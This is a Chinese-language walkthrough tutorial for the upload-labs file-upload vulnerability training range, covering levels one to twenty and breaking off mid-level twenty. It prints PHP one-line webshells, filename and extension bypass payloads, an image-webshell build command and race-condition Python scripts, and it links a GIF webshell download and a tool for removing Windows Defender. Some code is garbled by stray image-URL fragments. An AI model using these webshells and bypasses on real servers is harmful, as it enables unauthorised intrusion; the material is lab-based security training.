upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析
不多废话,直接上理论呛死你(❍ᴥ❍ʋ)
![图片[1]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1718173771959-1c35876e-ab19-4aaa-b5e8-b9ca3abe53f4.png?imageMogr2/format/avif)
什么是文件上传漏洞?
环境
靶场:upload-labs
服务器:centos7
数据库:mysql5.7
php:5.5
nginx:1.24
在开始之前先介绍一款windows defender卸载工具,提高渗透效率,不然文件上传成功就被杀了,文章在这儿,使用方法和下载链接很详细
https://mp.weixin.qq.com/s/0L6EIYnnGqXaUveM7RWl6w
漏洞简介
文件上传漏洞通常发生在程序设计中,由于对用户上传文件的处理不当或存在缺陷,导致用户能够绕过权限限制,向服务器上传具有执行能力的动态脚本文件。这些文件可能包括木马程序、病毒、恶意脚本或WebShell等。尽管文件上传本身并非问题所在,但服务器对上传文件的处理和解释方式不当,可能会引发严重后果。
高危触发点
在任何提供文件上传功能的应用中,都可能存在文件上传漏洞的风险,例如在相册、头像上传、视频和照片分享等场景中。此外,论坛发帖和电子邮件附件上传等功能,也是文件上传漏洞的高风险区域。同样,文件管理器等工具也可能成为攻击者利用的目标。
注意:移动设备同样面临着文件上传漏洞的威胁。
漏洞复现upload-labs(1-21关)
第一关(前端验证)
由于靶场配置必须要使用php5.2版本才能正常运行,建议去https://fofa.info/
![图片[2]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1718151629080-6d88310d-2b3c-45e3-9182-98938d7b007b.png?imageMogr2/format/avif)
找到描述为upload-labs的ip地址进入即可
![图片[3]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1717157274616-8002fd49-df5c-43e4-b014-5d6d4909abea.png?imageMogr2/format/avif)
在开始闯关之前我们需要用到一句话木马,php文件代码如下
<?php @eval($_POST['shell']);?>
第一关因为是进行前端JS校验,分析源码可以直接在浏览器检查代码把checkFile()函数(即如下图红色框选中的函数)删了或者也可以把红色框改成true,并按回车,即可成功上传php文件。
但是更改为return true之后还是在提示文件类型不正确
![图片[4]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1717218784178-4a7670d4-499a-49fe-a139-f10184267e8f.png?imageMogr2/format/avif)
这时候我们把js复制下来,打开浏览器控制台,并回车,直接重置checkFile()这个同名函数,使js执行俩次。
![图片[5]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1717219699097-2a9193ac-9473-4d04-9b9d-4b722982a850.png?imageMogr2/format/avif)
上传成功。
![图片[6]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1717219839326-40e2ba4d-8ab6-44a2-b1db-f11753819067.png?imageMogr2/format/avif)
使用中国蚁剑测试,连接密码就是你php post请求的shell参数
![图片[7]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1717158043707-70812881-3200-4968-b4e5-527869be0d23.png?imageMogr2/format/avif)
第二种方法就是禁用浏览器的javascript
![图片[8]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1717157628728-0b2ed6f3-5efe-41a5-82ea-f2be9db7d87a.png?imageMogr2/format/avif)
木马上传成功
![图片[9]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1717157660162-e4bd3340-5a2f-4f74-a8f3-a50796476a2f.png?imageMogr2/format/avif)
第二关(MIME验证)
使用抓包工具,抓到了包,第一关是抓不到的,我们把上传的jpg文件修改为php即可
![图片[10]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1717158262195-8f4fc6a3-3c57-4ba9-8bbf-12ee796a6863.png?imageMogr2/format/avif)
上传成功
![图片[11]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1717158368882-1e2225b3-5c7b-4743-95fd-710d2a67d75b.png?imageMogr2/format/avif)
第三关(黑名单验证,特殊后缀)
将文件后缀修改为php1,php2即可
![图片[12]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1717158444064-f55fbe34-977c-4357-985c-4ddc53f6e58f.png?imageMogr2/format/avif)
不过需要注意,上传成功后文件名称改变了
![图片[13]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1717158555634-60a5c790-879f-4a84-913c-6a32aae0fa42.png?imageMogr2/format/avif)
第四关(黑名单验证,.htaccess)
通过上传htaccess文件进行绕过由于黑名单没有过滤htaccess文件后缀名,我们可以上传一个htaccess文件,让文件所在位置的目录下文件被php解析。
使用前提
- 要在apache下的
httpd.conf文件更改。
启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。
打开httpd.conf文件用文本编辑器打开后,查找
![图片[14]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1718176321644-eb52fe5c-3234-4911-8829-0a5007ec3fa1.png?imageMogr2/format/avif)
更改为
![图片[15]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1718176427886-db6b5f7c-a994-47ae-915a-6e218af88e94.png?imageMogr2/format/avif)
重启Apache,上传.htaccess文件,然后再上传phpinfo的jpg文件
.htaccess文件内容如下
setHandler application/x-httpd-php
![图片[16]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1718177304873-3895daf8-9676-497e-b429-bad41ffb48ac.png?imageMogr2/format/avif)
复现失败!(。◕ ∀ ◕。) ,哈哈哈哈,好像要特定的环境,自己去找找资料吧,小编我也找了好久没出来。
不急,还有第二种发方法,windows特性后缀xxx.php. .上传文件之后会自动去掉后面的内容
![图片[17]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1718177974468-b8e85a3d-5264-4f5e-8da8-4e11b1107774.png?imageMogr2/format/avif)
不愧是中国蚂蚁,over!
![图片[18]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1718178256215-d123c1ac-17b1-428e-94e7-e098d80f5319.png?imageMogr2/format/avif)
第五关(黑名单验证,.user.ini.)
和第四关一样php. .
第六关(黑名单验证,大小写绕过)
这一关同样是后端黑名单,.htaccess和.ini。但是没有使用strtolower()函数,可以使用大小写绕过黑名单
把.php 格式改为.Php上传上去之后,就会自动解析为.
![图片[19]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1717159605405-652c6652-0ea8-4f90-a6d3-c0e99d4c6de6.png?imageMogr2/format/avif)
注意上传成功后的真实的文件地址。
![图片[20]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1717163028455-5acb12b3-7b73-4beb-880b-6b7d53c2c108.png?imageMogr2/format/avif)
第七关(黑名单验证,空格绕过)
仔细分析源代码,容易发现代码中并没有把空格去掉
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
使用burp suite劫持包在文件后缀添加一个空格,上payload,filename="myscript.php "
![图片[21]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1717163485310-3cdf6a30-a97a-4917-98fb-7270e5dcc36b.png?imageMogr2/format/avif)
上传成功
第八关(黑名单验证,点号绕过)
这一关黑名单,没有使用deldot()过滤文件名末尾的点,可以使用文件名后加 .进行绕过,即scirpt.php.。
![图片[22]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1717220255837-d025f95b-9a48-4e58-9356-466d74d82b7d.png?imageMogr2/format/avif)
第九关(黑名单验证,特殊字符::$DATA绕过)
php在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持"::$DATA"之前的文件名 他的目的就是不检查后缀名。
![图片[23]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1718173142298-71951a7b-dcc0-4eaf-a2dc-702a004701e2.png?imageMogr2/format/avif)
![图片[24]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1718173275136-0d600c20-0897-4028-bf29-cdd99b56272b.png?imageMogr2/format/avif)
![图片[25]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1718173285777-b208ad34-5072-45ea-bb36-e6fa679c2711.png?imageMogr2/format/avif)
第十关(黑名单)
分析源码,源码中使用deldot()函数,即字符串的尾部开始,从后向前删除点.,直到该字符串的末尾字符不是.为止。
提示:deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来
echo deldot("hello world")."n";
echo deldot("hello world.")."n";
echo deldot("hello world....")."n";
echo deldot("hello.world.")."n";
//输出结果为
hello world
hello world
hello world
hello.world
第十关源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
第十一关(黑名单验证,双写绕过)
str_ireplace 是 PHP 中的一个函数,它用于将字符串中的某些部分替换为其他字符串,并且对大小写不敏感。
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
通过源码我们可以发现,他仅仅对文件名称进行了替换,替换之后的后缀没有进行黑名单验证,这里我们就可以使用双写文件后缀进行文件上传,例如filename="info.pphphp"。
![图片[26]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1718153493228-7bb2c9c5-5176-4034-8b7b-5900349c0537.png?imageMogr2/format/avif)
上传成功
![图片[27]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1718153528691-7cb7678f-07db-4ed3-8780-283fea274f3f.png?imageMogr2/format/avif)
第十二关(get00截断)
这一关白名单,通过%00截断可绕过白名单限制,但需确保PHP版本低于5.3.4且magic_quotes_gpc已关闭。
原理简述:PHP函数如move_uploaded_file在底层C语言实现时,会因遇到0x00(URL编码为%00)截断字符串。利用此特性,可绕过某些文件上传限制。
![图片[28]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1718153742697-d5c0aa52-191e-451c-abc5-cdff32f96061.png?imageMogr2/format/avif)
![图片[29]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1718153827986-045cd262-42d2-4bbb-8f00-671e85aa9308.png?imageMogr2/format/avif)
第十三关(post 00截断)
![图片[30]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1718185090329-dd5f10ad-a456-49c3-ab56-53791a17fcbb.gif)
![图片[31]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1718154435809-574fa3e7-c74b-4cbf-afd7-47482e874596.png?imageMogr2/format/avif)
使用00截断的几个前提条件:
- PHP版本 < 5.3.4
- magic_quotes_gpc关闭。如果启用了magic_quotes_gpc,PHP会自动转义所有通过 GET、POST 和 COOKIE 数据传递的特殊字符,这可能会阻止 %00 截断攻击。但这个配置项在PHP 5.4.0中被移除。
第十四关(图片马unpack)
源码通过分析上传文件的前两个字节来识别其类型,并据此重命名文件。
我们使用cmd命令
opy 777.png?imageMogr2/format/avif/b + zoe.php pass14.png?imageMogr2/format/avif
![图片[32]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1718159582025-a5cbd775-6311-4735-a452-aaadaed9c42e.png?imageMogr2/format/avif)
创建了一个隐藏PHP代码的图片文件。
用文档打开2.jpg,发现合并成功。
![图片[33]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1718160579910-5a09ec7c-0651-4230-bdff-4ca7e412164b.png?imageMogr2/format/avif)
上传此图片木马后,并且通过文件包含漏洞触发并执行其中的PHP代码,而包含页面的链接已经给出。
![图片[34]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1718159819643-ee57f5f3-ed9f-438a-8028-6a05935d4f3f.png?imageMogr2/format/avif)
![图片[35]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1718159837789-e067ac9f-1d45-416b-ae1b-e0f3b3e9e728.png?imageMogr2/format/avif)
下面这段代码中通过获取URL中的file参数,进行文件包含。执行图片文件。
![图片[36]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1718159849177-0bd6ffaa-4c2f-48d5-861b-cc6b893823d1.png?imageMogr2/format/avif)
出现如下错误
![图片[37]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1718160888071-5c19b9d5-7909-454d-95b8-dc6a359b15ab.png?imageMogr2/format/avif)
问题显示在行8,我们去查看一下第八行是什么内容。
![图片[38]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1718160961638-8f93a3b2-e0c8-44cb-9a51-a580ccaaf951.png?imageMogr2/format/avif)
<?这个符号,不就是php的脚本符号嘛,把它删掉,再次包含执行jpg文件
![图片[39]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1718161046556-374b25c7-8939-47e8-a83c-6fc572db2d3e.png?imageMogr2/format/avif)
文件包含执行成功,此时即可使用中国蚂蚁连接
![图片[40]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1718161100143-1fdc3b76-a3dd-4a74-91f5-6b5756fd81ae.png?imageMogr2/format/avif)
第十五关(getimagesize图片马)
分析源码
function isImage($filename){
$types = '.jpeg|.png?imageMogr2/format/avif|.gif';
if(file_exists($filename)){
//获取图片的尺寸信息
$info = getimagesize($filename);
//检查前俩个字节是否输入图片
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
我们发现仅仅只做了图片的判断,并没有对我们图片马,进行限制。所以照样可以用14关的通关方法,进行getshell
第十六关(exif_imagetype图片马)
分析源码
//进行文件类型判断
function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
也是一样进行文件类型判断,没有对图片马进行判断,照样可以使用第14关的绕过方法。
第十七关(二次渲染绕过)
在这一环节,上传的图片经过了后缀名、内容类型和imagecreatefromgif函数的严格验证,确保其为GIF格式。随后,图片经过了二次渲染处理。然而,在后端的二次渲染过程中,需要识别并标记出渲染后未发生改变的十六进制(Hex)区域。通过利用文件包含漏洞,可以在这些未变区域嵌入恶意代码,进而使用蚁剑工具进行远程连接和操作。
注意:对于做文件上传之二次渲染建议用GIF图片,这里小编为大家准备了一个GIF马,大家自行提取
百度网盘提取码:1212
https://pan.baidu.com/s/1iHJWxIB3JYB78JylJzeAGg?pwd=1212
上传指定马后使用中国蚂蚁连接。
![图片[41]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1718163052265-5699f3f4-d84f-4614-823b-5ff9927e4646.png?imageMogr2/format/avif)
连接成功
![图片[42]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1718163038871-2ec84e09-a121-485e-864f-111e0eb32d25.png?imageMogr2/format/avif)
第十八关(条件竞争一)
查看提示
![图片[43]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1718163277115-15e17503-1183-46f3-9e52-a19dd50aac94.png?imageMogr2/format/avif)
审计代码
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
//定义一个数组,用来保存允许上传图片的后缀
$ext_arr = array('jpg','png','gif');
//获取文件名称
$file_name = $_FILES['upload_file']['name'];
//临时文件
$temp_file = $_FILES['upload_file']['tmp_name'];
//使用substr截取文件后缀
$file_ext = substr($file_name,strrpos($file_name,".")+1);
//上传的文件路径
$upload_file = UPLOAD_PATH . '/' . $file_name;
//将临时的文件,移动到新位置。
if(move_uploaded_file($temp_file, $upload_file)){
//如果问及那的后缀在数组ext_arr中就上传图片
if(in_array($file_ext,$ext_arr)){
//定义图片上传路径名
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
//修改文件名称,为上传路径名
rename($upload_file, $img_path);
//上传
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png?imageMogr2/format/avif|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
通过分析,仅仅只是判断文件名称,和修改上传的文件名称,如果临时文件的后缀不在黑名单里面,就删除这个临时文件,那么这个临时文件在没有删除之前执行我们上传的代码块呢。
![图片[44]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1718169490328-a7bae661-f0a8-4437-bb2e-5ab6e2e72e69.png?imageMogr2/format/avif)
我们可以利用burp多线程发包,然后不断在浏览器访问我们的webshell,总会有一瞬间的访问成功。
这个页面中没有文件包含漏洞,图片马的漏洞利用条件就是文件包含。此时没有这个漏洞了,那么可以使用如下方法。
将一句话代码更改为如下内容。
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["shell"])?>');?>
使用Burp Suite连续重放PHP文件上传请求,同时用Python脚本频繁访问该文件。在文件被删除前访问成功,即可在目录下创建一个包含一句话木马的Tony.php。这种方法在渗透测试中有效,因为它避免了仅访问phpinfo()文件的局限性。生成的Tony.php不会被服务器自动删除,从而允许我们通过蚁剑进行连接。
首先,我们上传PHP文件,用BP拦截,并发送到攻击器Intruder
![图片[45]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1718167019989-fe55468b-60b7-47ae-9478-6b9f5dd82846.png?imageMogr2/format/avif)
清除所有的payload
![图片[46]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1718167061896-ff731ec8-2a70-4034-b871-2b79b43805a7.png?imageMogr2/format/avif)
提示:进行下一步操作前,千万要注意,就是不要把BP的拦截功能关闭了,要一直保持拦截状态,才有更好的效果。
接着设置无限发送空的Payloads,来让它一直上传该文件
![图片[47]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1718167094190-3c24592e-1d9e-4d08-a272-2c2509753aff.png?imageMogr2/format/avif)
最后建议这里把线程设置高一点,提高练习渗透效率
![图片[48]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1718167158797-39b920fb-2500-4747-9f4c-36af5ec48017.png?imageMogr2/format/avif)
然后我们写一个python脚本,通过它来不停的访问我们上传上去的PHP文件(即如上图显示的myscript.php文件)
import requests
def main():
url='http://192.168.209.131/upload/myscript.php'
while True:
res = requests.get(url)
print('未找到php文件')
if res.status_code == 200:
print('over!')
break
if __name__ == '__main__':
main()
开始攻击了
![图片[49]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1718167211260-b4de13bc-fa16-438e-b7b3-6b21d2984f34.png?imageMogr2/format/avif)
在BP攻击的同时我们也要运行python脚本,目的就是不停地访问myscript.php知道成功访问到为止。当出现OK说明访问到了该文件,那么shell.php应该也创建成功了,用蚁剑连一下试试。
![图片[50]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1718167261620-54dbafab-a063-4469-a91d-66bdf2a2d8a7.png?imageMogr2/format/avif)
测试连接,over!
![图片[51]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1718166981045-81a4d7d8-092c-4a12-932e-bdabcc86ad46.png?imageMogr2/format/avif)
第十九关(条件竞争二)
上传GIF测试
![图片[52]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1718169190493-bba2db3e-3227-4479-a351-e434575ad3d6.png?imageMogr2/format/avif)
发现路径少了一个/,应该是开发者少添加了一个斜杠,去服务器把源文件改下
![图片[53]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1718169251417-f0fddd3b-e48a-4612-8afb-ecc17fb513fd.png?imageMogr2/format/avif)
从源码来看的话,服务器先是将文件后缀跟白名单做了对比,然后检查了文件大小以及文件是否已经存在。文件上传之后又对其进行了重命名。
这么看来的话,php是不能上传了,只能上传图片马了,而且需要在图片马没有被重命名之前访问它。要让图片马能够执行还要配合其他漏洞,比如文件包含,apache解析漏洞等。
建立一句话木马
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["shell"])?>');?>
制作图片马
![图片[54]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1718170137457-5fca1371-4dbd-4de7-a75d-ce2b541de6be.png?imageMogr2/format/avif)
上传图片马,用BP拦截(基本上在BP上的操作跟上面第18关没区别)注意上传的是图片马就行。
![图片[55]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1718170243376-cba0e45f-bf5c-427e-b6c4-2b964a49c4f0.png?imageMogr2/format/avif)
python脚本
import requests
def main():
url='http://192.168.209.131/upload/pass19.png?imageMogr2/format/avif'
while True:
res = requests.get(url)
print('未找到png文件')
if res.status_code == 200:
print('over!')
break
if __name__ == '__main__':
main()
过程参考第十八关。
注意蚂蚁连接的文件是注入的一句话木马创建的文件。
![图片[56]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1718170444040-206909fa-a9fe-4d1f-adb3-00309432e7e4.png?imageMogr2/format/avif)
第二十关(黑名单)
有俩种方法,使用制作好的图片马上传,然后利用labs自带的includ漏洞进行包含,但是关卡没有说使用文件包含。
在php中move_uploaded_file有一个特性
修改上传文件名称为upload-19.php/.
